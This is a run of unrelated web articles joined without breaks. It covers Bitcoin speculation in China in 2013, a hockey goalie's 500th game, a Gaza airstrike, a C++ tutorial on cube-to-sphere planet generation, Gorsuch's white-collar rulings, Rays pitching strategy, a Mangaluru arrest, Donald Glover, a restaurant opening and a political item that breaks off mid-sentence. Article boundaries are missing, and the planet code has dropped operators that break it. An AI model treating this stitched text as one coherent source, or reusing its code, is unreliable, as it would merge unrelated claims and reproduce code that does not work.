financial institution, saw its value soar from $46 to $230 between Mar 10 and April 10. Cheng Hua was one of the first Chinese to trade the currency. In China, Bitcoin lovers like him call themselves “BTCers.” Li Xiaolai (李笑来), who claims to have the largest collection of Bitcoins in China, describes his obsession saying, “Bitcoin is the most stunning and most subversive social experiment in history.” Will Bitcoin start to challenge traditional currency? Or is this just a speculative bubble that will become the digital world’s “Tulip Mania”? A Crisis and an Opportunity If it weren’t for the banking crisis that hit Cyprus, Cheng Hua may have totally forgotten about the 2,000 Bitcoins that he and his friends bought two years ago. On Mar 16, the Mediterranean island nation of about 1 million signed on for a 10 billion euro bailout from the EU and IMF. As part of the deal, Cyprus would raise 5.8 billion euro by levying a one-off 6.7 percent tax on bank deposits under 100,000 euro and 9.9 percent on higher deposits. Once the news circulated, people in Cyprus rushed to withdraw their money from banks. During this time, downloads of online software for trading Bitcoin started to boom. Cypriots were very interested in a virtual currency with no central government control. Jeff Berwick, founder of StockHouse.com and CEO of TDV Media, announced that he planned to open a Bitcoin ATM in Cyprus. He said that within just a few days, he received many orders for these special ATMs. With the surge in demand, the price of Bitcoin against the U.S. dollar soared. On Mar 16, it was worth $47. By Apr 9, it broke through $200 and reached its highest point of $230. But it soon fell back to around $100. “During this month of watching Bitcoin, I hardly got any sleep,” said a “BTCer” who just recently got interested in the field. “Between the time I closed my eyes and opened them again, the price had risen or dropped more than $10. It was very exciting.” He’s considering selling his house so he can invest all his money in Bitcoin. Cheng Hua was also shocked by the recent events. He found that the 5,000 yuan he invested in Bitcoin two years ago was now worth 40 times that amount. Investment Bitcoin was started in 2008 by an anonymous creator as an alternative to government controlled currency - much like gold. And like gold, Bitcoin is “mined” virtually. According to Wall Street Journal, people can mine Bitcoins with computers and special software by solving complicated mathematical problems. But since the process is so difficult, most just opt to buy it. New Bitcoins are made available to be mined when the network is updated, and the amount of new coins distributed will be halved every year until 2140 when the total number will be capped at 21 million. In May 2011, Cheng Hua and his colleagues at a software company started to mine Bitcoin online. “At that time there weren’t many people mining, so it was easy,” he said. “In the beginning, we could dig up two or three Bitcoins per day. There were different mines as well as rankings. We joined one of them, and coins were allocated based on the contribution of miners’ calculation ability.” Like many Bitcoin lovers, Cheng Hua and his team’s mining experience wasn’t very successful. The money they generated from selling Bitcoins was less than what they’d invested in the electronic infrastructure to mine. After half a year, they gave up. Luckily for Cheng, he held on to many of the coins. Li Xiaolai (李笑来), founder of a major website, invested hundreds of thousands of yuan and suffered major losses, but persisted in the Bitcoin market. He continued to gain more by buying low and selling high. “In the end, I gained 2,100 Bitcoins using this method, which was far beyond my expectations,” Li said. He says that Bitcoin is valuable because it ensures inviolability of private property through its decentralized peer-to-peer structure. To him, it provides a guarantee of freedom. The Future Economy? Bitcoin has come a long way in its short history. As of Mar 30, all Bitcoins that have been issued so far were together worth over $1 billion. And a series of Bitcoin-related industries have developed including Bitcoin exchanges, information websites and third-party payment services. In the U.S., Bitcoin is already being used in daily life. According to an October 2012 report by BitPay, a company providing payment mediums for Bitcoin, over 1,000 merchants accepted payment with the currency through their system. Though Bitcoin just started to take off in China this year, there are already more than 10 online stores on Taobao that accept the currency. And after the Ya’an earthquake hit, Bitcoin donations were accepted. American economist Paul Krugman has come down hard on Bitcoins, saying they “derive their value, if any, purely from self-fulfilling prophecy, the belief that other people will accept them as payment.” “BTCers” have a different view. Li says that Bitcoin does indeed have some shortcomings currently, but that’s because people dealing with the young currency have a mindset that’s accumulated after thousands of years of using traditional money. Volatility, he says, is natural in the beginning. “I don’t see Bitcoin as speculation or an investment,” Li said. “For me, it’s a social practice. Gold doesn’t support currency. People’s trust supports currency. Bitcoin is the same. It has no intrinsic value. It’s gained trust from people on the internet voluntarily. This trust is more valuable than the forced trust traditional currency relies on.” Cheng Hua holds the same view “Bitcoin is based on the principle of trust,” he says. “Maybe it will have bubble stages, but currency must go through these stages during development. The traditional legal currency also went through these stages in its emergence. The future economy in the virtual world is built on the basis of virtual currency. This is the value of Bitcoin.”Eleven years, three months and one day later, the netminder led his team to the ice in Washington D.C., and then turned aside 21 of 22 shots in a 2-1 overtime win - in his 500th career game. He remembers feeling the nerves, the buzz in the crowd, stopping 35 out of 38 shots the Chicago Blackhawks threw his way - and then it was over. One NHL appearance, one NHL win. It was December of 2005, just 10 days before Christmas, when a young Finn led his club out onto the ice in Nashville for the first time. When Rinne started for the Nashville Predators - the only NHL club he's ever known - on March 16 in Washington, he became the 67th goaltender in League history to hit the 500-game mark and only the 24th to do so for a single team. Originally selected in the eighth round of the 2004 NHL Draft - a round that doesn't even exist anymore - Rinne holds virtually every goaltending record in Nashville Predators franchise history, with all 502 regular-season appearances of his career coming with the club. He's the franchise's all-time leader in games played, wins, saves, shutouts, goals-against average and save percentage. The Kempele, Finland, native will be honored for his 500 NHL games - and counting - prior to Saturday's game against San Jose at Bridgestone Arena, receiving the recognition someone of his stature rightfully deserves. And for all the on-ice accolades he's earned since that first save in 2005, everyone who knows Rinne best unequivocally states his character far surpasses his athletic ability, which is no small statement. "I knew he was a special person and athlete when I first met the guy," Preds forward Vernon Fiddler, who just happened to score the game-winning goal in Rinne's first start, said. "He was a very humble guy that keeps everything even keel. He's not only the backbone to our team, but he's also an elite goaltender and great person." Former Predators Head Coach Barry Trotz, who was behind the bench for Rinne's first appearance, was on the other side of the ice running things for Washington in Rinne's 500th outing, and the bond between bench boss and netminder goes much deeper than stopping pucks. "The thing I love about Peks is he hasn't changed since the day I met him," Trotz said prior to Rinne's 500th. "We had a really good relationship, and I'm really proud of what he's done for 500 games, but the person that he is in the community, in the NHL, around people, he's absolutely outstanding. To me, he's always going to be one of my favorites, as a player and as a person." Rinne has endeared himself to fans in Nashville and beyond with not only his puck-stopping abilities but also his affinity for bettering the place he calls home. So upon reflecting on his time spent with the organization and the city over the past 12 years, of course the game-saving stops and postseason triumphs came to mind, but something stood out above the game itself. "I've been here for the longest now of any of the players, and you realize how many guys you've played with and it's pretty amazing how many friendships you create," Rinne said. "That's still probably the biggest thing you take away. It doesn't feel like I came over 12 years ago, and it's crazy how fast it goes." Once his mind began to wander down that road, Rinne was then quick to reel it in. He believes there is still plenty to accomplish with the franchise and the city, and while he knows he may not have 500 more in him, there's still records to set, firsts to reach. "I think the older you get, the more you try to cherish these moments and these opportunities you get," Rinne said. "You realize how lucky we are and how lucky I am. Sometimes you forget that; you don't always think like that, but lot of times I remind myself that if it's good or if it's bad or whatever it is, it's such a privilege to be here, to play here and live here." Rinne's off-ice work with Best Buddies, plus his role with the 365 Fund presented by Twice Daily and Monroe Carell Jr. Children's Hospital put the size of his heart on display, but in a humble manner - which is perfect, because that's exactly how he prefers things to be. "I think what I see in Pekka was a young man who's grown to be a great leader, great person, and he's sort of passing the torch on," Trotz said. "That makes me very proud as someone who had a chance to coach him and had a chance to see a young man grow into a great player, but a great person as well." For the 267 wins, the 42 shutouts, the 13,963 saves, the three Vezina Trophy nominations and the countless deeds that won't show up on the stat line, there are still a few more things Rinne wants before he makes his final save, whenever that day happens to come. Until then, Rinne will never forget the first one, always working for more - one poke check, one pad stack, one salute to Smashville at a time. "It's been a fun ride," Rinne said, "but I hope that my best memories from Nashville are ahead of me."Photo GAZA — Israel carried out more airstrikes in Gaza early Friday, accidentally killing a Palestinian man and his 12-year-old son as militants continued to fire rockets into southern Israel. Tensions flared after an Israeli airstrike in Gaza City on Thursday killed two Palestinians whom the military described as terrorists involved in a plot to attack Israelis. Palestinians retaliated by firing rockets from Gaza into southern Israel. The Palestinian man who was killed on Friday died instantly when Israeli fighter jets attacked at least two targets that were described as training sites for the armed wing of Hamas, the Islamic militant group that controls Gaza. The boy died later of his wounds, and seven family members, including two women and several other children, were injured. The man was identified by Agence France-Presse as Bahjat al-Zalan. One of the strikes, on a site in northern Gaza, badly damaged a house, causing the casualties, said Adham Abu Selmia, a spokesman for the Gaza medical services. Photo The Israeli military said in a statement that it regretted the civilians’ deaths, and that its airstrike was accurate but that it had caused secondary explosions of stored weapons. The military said that the responsibility for the deaths lay with Hamas because it operates in the heart of populated areas. Advertisement Continue reading the main story On Thursday, a missile struck a car in which the two men were traveling along a busy street during the afternoon rush hour, near a public park and several banks. Six bystanders were reported wounded.I have always been a fan of procedural content generation; it allows you to create ever changing games with potentially endless content. It also compensates for my lack of artistic talent. Procedural landscape generation is useful for many games, from Skirmish mode in strategy games to a dungeon in a Roguelike. At this time I am going to explore how to generate planets. Doing planar and voxel terrain generation in the past made me familiar with quite a few rendering generation algorithms but I have never made a planet before and I decided it is time to change that fact. The plan Planets in the real world contain a lot of information. The surface area of the earth is about 510 million square kilometers, almost two third of it is water and one third land. This is a lot of terrain data that you might want to generate. Across the land we have rivers, lakes and different types of biome, representing deserts, jungles, tundra and more. The biome information can tell you what type of animals live at different areas. There is also the matter of lighting. Our light comes from the sun which could be thought of as a simple directional light, but in fact the light breaks in the atmosphere and the light particles called photons bounce off particles in the Earth's atmosphere and reflect more blue and yellow colors. This is called Atmospheric Scattering. For this chapter I will start by making the simple geometry for the basis of the planet. At later posts I will add more detail including height data, lighting, atmospheric scattering and level of detail which will allow the amount of data the planet contains to increase dramatically. Geometry The first thing I did was to create a sphere with simple longitude latitude algorithm: The problem with this method is that the vertices converge towards the poles, leading to non-uniform distribution of the vertices and causing visual distortions, especially when trying to add textures. So I looked for a different algorithm and found a few useful ones including Geodesic and Cube Mapping. Geodesic grids seems to offer really good results, keeping the grid uniform and without distortions while delivering a good spherical shape. Geodesic grids can be created by subdividing an icosahedron, adding additional triangles and pushing them toward the sphere's radius. Enough tessellation will create a smooth spherical shape with a uniform grid that has no distortion. For simplicity and speed I decided to go with a Cube Mapping algorithm. Following a formula I found online by Philip Nowell I could easily collapse a cube grid into a sphere using just a few lines of code: // For every vertex in the mesh // Where vertices form 6 grids making a cube // With bounds of [-1, -1, -1] to [1, 1, 1] void MapCubeToSphere ( Vector3 & vPosition ) { float x2 = vPosition. x * vPosition. x ; float y2 = vPosition. y * vPosition. y ; float z2 = vPosition. z * vPosition. z ; vPosition. x = vPosition. x * sqrt ( 1.0 f - ( y2 * 0.5 f ) - ( z2 * 0.5 f ) + ( ( y2 * z2 ) / 3.0 f ) ); vPosition. y = vPosition. y * sqrt ( 1.0 f - ( z2 * 0.5 f ) - ( x2 * 0.5 f ) + ( ( z2 * x2 ) / 3.0 f ) ); vPosition. z = vPosition. z * sqrt ( 1.0 f - ( x2 * 0.5 f ) - ( y2 * 0.5 f ) + ( ( x2 * y2 ) / 3.0 f ) ); } After creating a grid for each face of the cube and applying the code above for every vertex, the cube collapses into a sphere as shown in the following image: This sample code shows creating one face of the cube grid and collapsing it into the sphere: // Declared Variables // width - number of vertices across the x axis // height - number of vertices across the y axis // radius - sphere's radius // pVertexBuffer - vertex buffer array // Grid facing negative z Vector3 vMinPosition ( - 1.0 f, - 1.0 f, - 1.0 f ); for ( int y = 0 ; y < height ; ++ y ) { for ( int x = 0 ; x < width ; ++ x ) { Vector3 vPosition = vMinPosition ; vPosition. x += ( float ) x / ( float )( width - 1 ) * 2.0 f ; // Multiply by 2.0f to map position from -1 to +1 vPosition. y +- ( float ) y / ( float )( height - 1 ) * 2.0 f ; // Multiply by 2.0f to map position from -1 to +1 // Map the grid position into a sphere position MapCubeToSphere ( vPosition ); // The normal is just the vector from the center of the sphere. Vector3 vNormal = vPosition. Normal (); // Extrude the sphere by the radius vPosition = radius ; // Assign to vertex buffer pVertexBuffer [ y width + x ]. Position = vPosition ; pVertexBuffer [ y * width + x ]. Normal = vNormal ; } } Cube Mapping Advantages There are some advantages I am hoping to use with cube mapping: The grid is uniform and similar to a planar grid terrain, making it easy to handle. Treating the terrain as a grid allows one to render each face with level of detail algorithms such as Chunked LOD and Geometry Clipmaps. It allows use of cube mapping for texture mapping, possibly increasing performance. More on the advantages in future posts. Next The next stage was to add additional detail to the planet, as currently it is just a simple sphere. In planar grids it is common to create a heightmap to displace the vertices Y coordinate. Height maps require additional work before they can be applied on a sphere so that the map will wrap around nicely between the different faces. In the next post I will detail how I generate the height map and some techniques to improve the detail. The next post is now up! Find it here.The confirmation battle over Neil Gorsuch, President Trump’s pick to fill the vacant seat on the U.S. Supreme Court, promises to be ugly. All aspects of his record will be thoroughly dissected — and likely distorted — by both political parties. Looming over the proceeding is Democratic anger over the Merrick Garland nomination and the threat of Republican Senators to invoke the “nuclear option” to break any Democratic filibuster. It’s destined to be one of those political knife fights that reminds everyone why they hate Washington. Partisans on both sides will be trying to predict how a Justice Gorsuch might rule on any number of hot-button issues. But here at Sidebars we are particularly interested in how Gorsuch’s presence on the Supreme Court might influence the law of white collar crime. So I spent some time this week reading opinions written by Judge Gorsuch on the 10th Circuit Court of Appeals in cases involving white collar offenses such as mail and wire fraud, public corruption, obstruction of justice and money laundering, to see if I could glean anything from those decisions. I didn’t find anything particularly remarkable. Most of the white collar cases where Judge Gorsuch wrote the opinion for a three-judge panel ruled in favor of the government, but that’s true of most criminal appeals. Most of the decisions were unanimous. That’s also not unusual, but at least it suggests a judge who generally colors within the lines of established precedent and is not a bomb-thrower writing dissents advocating extreme positions. One thing I definitely learned is that Judge Gorsuch is indeed a terrific writer, as many others have noted. His opinions are clear, concise, and free of legal jargon. They are a pleasure to read, which is saying something when it comes to judicial opinions. In that regard he reminds me of Justice Kagan, in my view currently the best writer on the Court. That’s something I really admire — although I guess if you fear a Justice Gorsuch is going to gut your fundamental liberties it’s cold comfort to know he’ll do it with great style and clarity. In any event, it appears unlikely that any of Judge Gorsuch’s opinions in white collar cases will be particularly controversial or a focus of his confirmation hearing. But that doesn’t mean there is nothing we can learn about how Justice Gorsuch might approach such cases at the high court. Those who have studied or worked with Judge Gorsuch and know him best describe him as a judge in the mold of Antonin Scalia, the Justice whose seat he would assume. The opinions and other materials I reviewed certainly support that characterization. And if Justice Gorsuch does follow in the footsteps of Justice Scalia when it comes to criminal law, it could lead to some interesting and potentially surprising results. Justice Scalia’s White Collar Legacy When it comes to Justice Scalia and criminal law, it’s complicated. Although conservative, he was definitely not a “hanging judge” ruling against criminal defendants at every opportunity. On the contrary, Scalia’s strict approach to statutory and constitutional interpretation often resulted in decisions that favored criminal defendants – and often led him to side with some of the most liberal members of the Court. In constitutional law, Justice Scalia’s originalist approach made him suspicious of expansive notions of government power and protective of the rights of criminal defendants embodied in the text of the Constitution. In areas such as the right of defendants to confront witnesses against them (for example, Crawford v. Washington), the right to a jury trial (Blakely v. Washington), and the right to be free from unreasonable searches and seizures (Florida v. Jardines and Kyllo v. United States, for example), Scalia was a powerful voice warning against government encroachment on these fundamental constitutional liberties. On the other hand, when it came to doctrines he considered judicial inventions not found in the text of the Constitution – such as the exclusionary rule and right to Miranda warnings – he was much less sympathetic. White collar cases more often involve the interpretation of statutes, not the Constitution. And white collar statutes are notorious for being broad and somewhat vague, using sometimes fuzzy terms such as “fraud” that are not otherwise defined. Justice Scalia authored a number of significant white collar opinions and dissents. His strict textualist approach generally led him to read white collar statutes narrowly. He was skeptical of prosecutors’ attempts to fashion expansive theories of criminal liability not directly spelled out in the statutes. Some Justices are much more willing to hold that courts should flesh out the parameters of broadly-worded criminal laws; Scalia insisted that crimes had to be specifically defined by Congress, not by judges. For example, Justice Scalia was a long-time critic of a popular species of mail and wire fraud known as honest services fraud. Frequently used in prosecution of state and local corruption, it charges that victims were defrauded not of money or property but of their intangible right to the honest services of a politician or other individual who owed them a duty. Justice Scalia maintained throughout his career that the idea of “honest services” was too amorphous to support criminal liability and failed to provide adequate notice about what conduct was prohibited. In Skilling v. United States in 2010 the Court responded to vagueness concerns by narrowing honest services fraud liability to cases involving bribes and kickbacks. Justice Scalia wrote a separate opinion arguing that the Court should go further and declare the honest services fraud statute unconstitutionally vague in all circumstances. (He even referred to it as “so-called honest services fraud,” a locution that President Trump might appreciate.) In another leading mail fraud case, Schmuck v. United States (yes, that’s the real name), the issue was whether the mailings proved by the prosecution actually furthered the scheme to defraud as required by the statute. The majority adopted a broad reading of the “in furtherance” requirement and upheld the convictions. Justice Scalia dissented, criticizing the prosecution for what he deemed an overly-expansive view of the mail fraud statute. His opinion arguing that the defendant’s convictions should be reversed was joined by Justices Brennan and Marshall, two of the most liberal Justices of the 20th century. Justice Scalia similarly favored a narrow reading of a public corruption theory called extortion under color of official right under the Hobbs Act. In 1992 in Evans v. United States, the majority held that extortion under color of official right was basically equivalent to bribery. Justice Scalia joined a dissent by Justice Thomas arguing that bribery and extortion are distinct crimes and that the majority opinion wrongfully resulted in a vast expansion of federal criminal law and the power of federal prosecutors. Of course, strict interpretation of the statute sometimes meant the defendant lost. For example, Brogan v. United States involved the false statements statute that criminalizes lying to the government about material matters. Lower courts had created an exception to the statute, known as the “exculpatory no,” holding that prosecution could not be based on a defendant’s mere denial of guilt. Justice Scalia wrote the majority opinion holding the text of the statute contains no such exception and stating “[c]ourts may not create their own limitations on legislation, no matter how alluring the policy arguments for doing so....” (He also noted the defendant’s concession that “under a ‘literal reading’ of the statute he loses.” If you had made that concession and then saw that Justice Scalia was writing the opinion in your case, you knew it was not going to be a good day.) Recently in Yates v. United States the defendant was charged with obstruction of justice, a twenty-year felony, for throwing overboard some undersized fish that were evidence he had violated fishing regulations. During oral argument Justice Scalia expressed outrage that the government had brought such a case. But in the end he refused to join the five-Justice majority reversing the conviction on the questionable ground that fish were not “tangible objects” within the meaning of the law. Instead he joined with Justice Kagan in dissent, arguing that the plain wording of the statute compelled a ruling in favor of the government. He clearly thought the prosecution was misguided, but did not believe the solution was for the Court to adopt a strained interpretation of the statute that was contrary to its plain language. Judge Gorsuch and White Collar Crime Would Justice Gorsuch channel Justice Scalia when it comes to white collar crime? It’s always a bit dicey trying to predict how a judge would behave on the Supreme Court based on his appellate opinions. Appellate judges, of course, are bound by Supreme Court precedent, so they generally don’t have the same freedom and opportunities to decide novel legal questions. But there is reason to believe Justice Gorsuch’s approach would indeed look a lot like Justice Scalia’s. Judge Gorsuch shares Justice Scalia’s belief in strict construction of the Constitution according to the intent of its framers. In a widely-quoted concurrence in Cordova v. City of Albuquerque, he wrote: Ours is the job of interpreting the Constitution. And that document isn’t some inkblot on which litigants may project their hopes and dreams... but a carefully drafted text judges are charged with applying according to its original public meaning. Judge Gorsuch also appears to share the concerns of Justice Scalia about overcriminalization and sweeping criminal statutes that may place too much power in the hands of prosecutors. In a law review article in 2010 Judge Gorsuch wrote: “What happens to individual freedom and equality—and to our very conception of law itself—when the criminal code comes to cover so many facets of daily life that prosecutors can almost choose their targets with impunity?” Judge Gorsuch’s strict textualist approach to statutory interpretation has occasionally led him, as it did Justice Scalia, to rulings that narrowly interpret criminal statutes and favor criminal defendants. One example involves a statute that makes it a crime for an individual with a felony conviction to possess a firearm, 18 U.S.C. § 922(g)(1). The 10th Circuit has agreed with the majority of courts of appeal that the government in such a case needs to prove only that the defendant knew he possessed a gun and does not need to prove the defendant knew he had a felony conviction. Judge Gorsuch disagrees. In a classic Scalia-esque statutory interpretation argument, he has argued that the plain language of the statute requires the government to prove both – an interpretation that, if adopted, would favor defendants and place a heavier burden on the government. In one of the cases, United States v. Games-Perez, notice Judge Gorsuch’s language in his concurrence expressing disagreement with his colleagues: Our duty to follow precedent sometimes requires us to make mistakes. Unfortunately, this is that sort of case.... I recognize that precedent compels me to join the court’s judgment. But candor also compels me to suggest that we might be better off applying the law Congress wrote than the one [the court’s earlier decision] hypothesized. It is a perfectly clear law as it is written, plain in its terms, straightforward in its application. Of course, if Congress wishes to revise the plain terms of [the statute] it is free to do so anytime. But there is simply no right or reason for this court to be in that business. Those final two sentences could have been lifted straight out of a Justice Scalia opinion: the statute says what it says, and if there’s a problem it is up to Congress to fix it, not the court. But what a marked contrast to the writing style of Justice Scalia, who was famous for disagreeing with his colleagues in the most sarcastic and acerbic terms. In addition to being a gifted writer, Judge Gorsuch displays much more of a traditional judicial temperament than the man he would replace. Later, dissenting from a denial of a rehearing en banc in the same case, Judge Gorsuch wrote a impassioned defense of the right of criminal defendants to be convicted only if the government proves every element of the offense: “There can be few graver injustices in a society governed by the rule of law than imprisoning a man without requiring proof of his guilt under the written laws of the land.” Another 10th Circuit case, United States v. Makkar, involved a prosecution under the analogous drug act, which criminalizes selling substances that mimic a listed controlled substance. In another pro-defendant decision, Judge Gorsuch reversed the convictions and held that the plain language of the statute requires the government to prove the analogous substance had the same chemical structure as the controlled substance, not merely that it had the same effects on the user. In addition to strictly interpreting criminal statutes, Judge Gorsuch, like Justice Scalia, has a history of holding prosecutors’ feet to the fire and insisting they play by the rules. For example, in United States v. Farr, a tax fraud case, Judge Gorsuch ruled in favor of the defendant and held that prosecutors had improperly convicted him under a theory of tax fraud different from the one that was charged in the indictment. In a case that might be of interest in the current political environment, Judge Gorsuch also wrote the opinion in United States v. Hasan, reversing the perjury conviction of a Somali refugee. He ruled the trial court had erred by finding the defendant was not entitled to an interpreter when testifying in the grand jury. This was under the extremely deferential “plain error” standard of review, and it would have been easy for an appellate judge simply to defer to the judgment of the trial court. If opponents try to portray Judge Gorsuch as a cold-hearted conservative who cares nothing about the most vulnerable among us, we might see this opinion trotted out in response. Overall, Judge Gorsuch’s opinions related to criminal law are largely uncontroversial and closely adhere to governing precedent. He definitely takes a strict approach to the interpretation of texts. He does not appear to be results-oriented and will not hesitate to rule against the government and in favor of a criminal defendant if he believes that is required. His approach to criminal law in general and white collar crime in particular does seem to be very similar to Justice Scalia’s. At least as far as criminal law is concerned, Democrats thinking about opposing his nomination should probably consider they could do a lot worse. Click here to join the Sidebars mailing list and receive e-mail notification of future posts. Like
usually better), let's look for the pitch count where the pitcher is exactly at a league-average expectation. Now, the equation reads ( A * pitch count^2 ) + ( B * pitch count ) + regression constant + projected OBP in natural log of odds ratio form – league average OBP in natural log of odds ratio form = 0 The last three terms can simply be added/subtracted to produce one number, and now the equation has the form of Ax^2 + Bx + C = 0. All we need now is the quadratic formula for solving for X. Some pitchers were always, no matter their pitch count, above the league average (we call these guys "uh ohs") and some are always below the league average (we call them… well, since we're talking about the Rays, Chris Archer). Or at least, some guys had solutions for X that said that they were below league average from pitch -137 to pitch 265. I know medical science has advanced a bit in the past few years, but 265 pitches is a little much. I cut the bounds at 0 (for obvious reasons) and 100 pitches. It's not that the Rays would (or should) turn away a pitcher who can go seven innings and pitch better than average. Even a couple of years ago, I found 23 guys who had an "effective" range between the first 35 pitches of the game and the first 75 pitches of the game. Several of them had overall OBPs allowed that were over the league average, but this didn't tell the whole story. If the league believes that a pitcher is below average and a team can create a role for him where he is above average, then the team has discovered a point of arbitrage. I looked to see how well this "effective range" remained consistent over time. (Players who were always above 100 were given a score of 100, those who never made it below league average were given a score of zero.) Over the five years in sample, the intraclass correlation (it's like a year-to-year correlation, but with more than two data points) for the sample was.31. That's moderately high. It's not great, but we call home runs a true outcome for pitchers for a correlation around this magnitude. It means that this method isn't a sure-fire way to identify guys who might fit the role, but it's a good place to start a list. On top of that, it means that there are guys in MLB who fit the bill, mostly because it's really hard to find guys in general who are great—or even average—for 100 pitches. What the Rays did was to take a look at the assets they had on hand. If there are 20-something of these guys already in the majors, how many more are lurking in the minors? They had Chris Archer, Matt Moore, and Drew Smyly, but needed to fill spots four and five in their rotation. They had pitchers in the system who fit the bill of being able to throw 50 good pitches. That made them a good candidate to go three to four innings or, as the Rays seem to prefer, 18 batters. On some nights, that's not going to be enough to get it done. The team might need more length. Because these guys are starters by training, they have the built-up endurance to sustain six innings, even if they won't be six glorious innings. But on some nights, when the bullpen is rested or there's a forthcoming day off, you can get away with a four-inning start, so why ask a guy to go beyond what he's actually good at doing when you don't have to? And, as the Rays discovered, since there aren't rules saying that these guys have to actually start in the first inning, you can find guys who embrace (or quietly tolerate) being used both as a "starter" or "reliever" and you can create a pitching staff with three "real" starters and play mix-and-match with three or four swingmen and some regular relievers. When there's always a guy around with a starter's arsenal, a demonstrated ability to get lefties and righties out at a pace that is better than league average, and who can throw three good innings (if not six), it makes it easier to extend the "one-inning guys" a little past their bedtime. Why not make the hole square? All good market inefficiencies come in the form of people clinging to an idea despite the fact that there's nothing really keeping that idea in place other than the fact that they are clinging to it. Baseball had been under the spell that there are two kinds of pitchers and if a pitcher didn't fit into this rigid binary system, he was junk. Instead of trying to fit the square peg into the round hole, why not make a square hole? What the Rays discovered was that by cleverly manipulating the 25-man roster, it was possible to have fresh relievers available to cover the required workload, and it was possible to take a spot (the fourth and fifth starter spots) that teams normally wrote off as a home for below-average starters and squeeze above-average performance out of it, at least some of the time. If we assume that the average fourth and fifth starter are worth two wins combined over the course of a season, and that your average second and third starters, who we assume are a bit above average, are worth four to five wins combined, and we can get guys slotted for the fourth and fifth starter roles (even if that means more than two pitchers in terms of who staffs those slots/innings) and get them to perform like second and third starters even half the time, then those spots could be worth a win to a win and a half more in value and can be staffed by guys whom everyone else was throwing on the garbage pile. The Rays cleared (a lot of) extra value simply by thinking differently. Now that the rest of the league is starting to catch up, it's going to be interesting to see what Bendix and the rest of the Rays come up with to stay ahead.The News Minute\| March 10, 2015\| 5.00 pm IST The Mangaluru police have arrested a person in connection to the stone-pelting incident that took place at the St Joseph Vaz prayer centre in Panir late last month. A glass frame housing a statue of Mother Mary and Infant Jesus was damaged in the incident which took place on the night of February 24. The arrested person has been identified as Ananda (30), a resident of Ukkuda, Kinya. "The man was working with the church till a month ago and he was unhappy with the pay. He was drunk that night and was the one who threw stones at the prayer centre." Police Commissioner S Murugan told The News Minute. Ananda, a painter by profession, was arrested on March 9 and sent to judicial custody the next day. The investigation of the case was taken up by the ACP south, on the instructions issued by the police commissioner and a special team was constituted. The Commissioner also said that the Panir incident was a random act, but that it had got attention from the public and was given a communal color. "The media gave it a communal color, now the media needs to clarify," he added.Donald Glover poses in the press room during the 74th Annual Golden Globe Awards. (Photo11: Steve Granitz, WireImage) Donald Glover scooped two Golden Globes for his TV show, Atlanta. on Sunday night, but when the actor arrived backstage, his upcoming Star Wars role was the question du jour. How is Glover preparing to play the infamous smuggler and gambler, Lando Calrissian, in the upcoming Han Solo prequel? “Not getting to eat anything enjoyable for the rest of my life,” Glover told gathered press, to laughter. “Lando’s a big deal to me. It was literally the first toy I ever got. When you have something that’s kind of iconic... where people pay attention to it, it’s hard because you want to live up to the expectation. But all you can do is live up to your own. And Star Wars is really high." Mostly, he added, "I really just want to have fun. The directors: (Christopher Miller and Phil Lord), they’re amazing. I love the guy who is playing Han (Alden Ehrenreich). It’s going to be a good time. It’s going to be fun. I’m getting ready to just have fun with those guys.” Just to be clear, there were plenty of questions backstage about Atlanta, too, which won both best television comedy and best actor in a comedy for Glover. As Glover explained, this show has been on his mind for years. “I’ve been trying to make this show for a long time,” said Glover. “I went home, I guess like a year and a half after I did Bonnaroo, and my mom was clearing out my room. She handed my brother a box of stuff and he pulls out this letter I forgot I wrote, that I sent to him in college. And I was like: 'Yo, I had this dream where we write a show together.' So I guess it’s been on my mind for a long time.” As they say, good things come to those who wait. Read or Share this story: http://usat.ly/2jj3fAyAcclaimed Houston chef Anita Jaisinghani debuts her first New York restaurant Pondicheri today, bringing her masala flavored breakfast dishes and experimental baked goods to 15 West 27th Street. Jaisinghani, who earned two James Beard nominations in Texas with upscale Indian restaurant Indika and casual restaurant and bakery Pondicheri, introduced breakfast, lunch, and signature pastry counter Bake Lab as a soft opening today. A slightly more upscale dinner menu will be coming in a few weeks. Jaisinghani and chef team Nikhil Kumar and Scott Jech brought some of Pondicheri Houston’s highlights to the New York space. At breakfast, Pondicheri New York offers items like a breakfast roti wrap with masala eggs, a stuffed paratha, and a rice and almond pancake with cardamom. Lunch options include even more stuffed rotis, a selection of curries, and a slew of salads like the warm harvest salad, made with roasted radishes, green masala paneer, snap peas, squash, and a toasted cashew cumin dressing. Meanwhile, the Bake Lab up front will be open all day, with pastries such as a pista scone made with pistachio and blueberries. Gluten-free and vegan options, including a quinoa muffin and an almond cake madeline, will also be on hand. The 5,000-square-foot space acts as a cafe during the day, says Jaisinghani’s daughter Ajna Jai, who’s managing the location. People can stop by to grab chai tea and a pastry, or they can order breakfast or lunch at the counter and sit for a while. "I want people to feel just as comfortable grabbing a cookie sitting down as getting a whole lunch," she says. "I don’t want it to be like ‘You’re taking a table.’ I want it to be a place where New Yorkers feel like they can hang out." Dinner will a little more formal, with table service and reservations, but the overall feel will still be casual, Jai says. "I want someone who went to a yoga class to come here and eat, and someone who’s on their way to prom," she says. Stay tuned for photos of the space, dinner service and bar service, which will only be using craft spirits. Check out both the Meatless Mondays and regular menu below, and if you stop by, let us know what you think. Pondicheri New York breakfast and lunch menu by Eater NY on Scribd Pondicheri New York Meatless Monday menu by Eater NY on ScribdFirst - jocelyncd.deviantart.com/art/R… Gallery - jocelyncd.deviantart.com/galle… Prev - jocelynsamara.deviantart.com/a… Next - jocelynsamara.deviantart.com/a… Some Rain/Emily cuteness to take things down a notch.Rain's probably only able to smile at all right now because Emily's there for her. It'd be a looooong wait for Fara to get there if she didn't bring her best friend along on this trip.And yes, it'll be Emily that fixes Rain's hair. A lot of people have been mentioning salons, but I don't think for a moment that Rain would have the confidence to sit in front of a complete stranger like this to have it fixed up. I've always had that kind of anxiety myself, actually. I haven't had my hair professionally cut in over eleven years. My friends or my wife (none of them trained) have been doing my hair through that time. Saves me a lot of money and a lot of trouble failing to articulate what I want. ^_^©2004-2015Rain, all characters and all other aspects of the story are copyright material belonging to me.Sen. Tom Cotton (R-AR) (Facebook) Arkansas Republican Senator Tom Cotton has been in the news for spearheading a coalition of 47 Senators who are trying to kill any deal with Iran by warning its leadership that Obama is only in office for another 21 months. But long before Cotton had fame and his seat in the Senate, he was a little-known member of the House of Representatives. On November 23rd, 2013, he held a town hall meeting in his district in Hot Springs, Arkansas at the Clarion Lake Resort. The meeting was organized primarily to discuss the Affordable Care Act, most specifically the mishaps with the websites governing the health insurance exchanges. At one point, a constituent submitted a question mentioning that her insurance plan had been 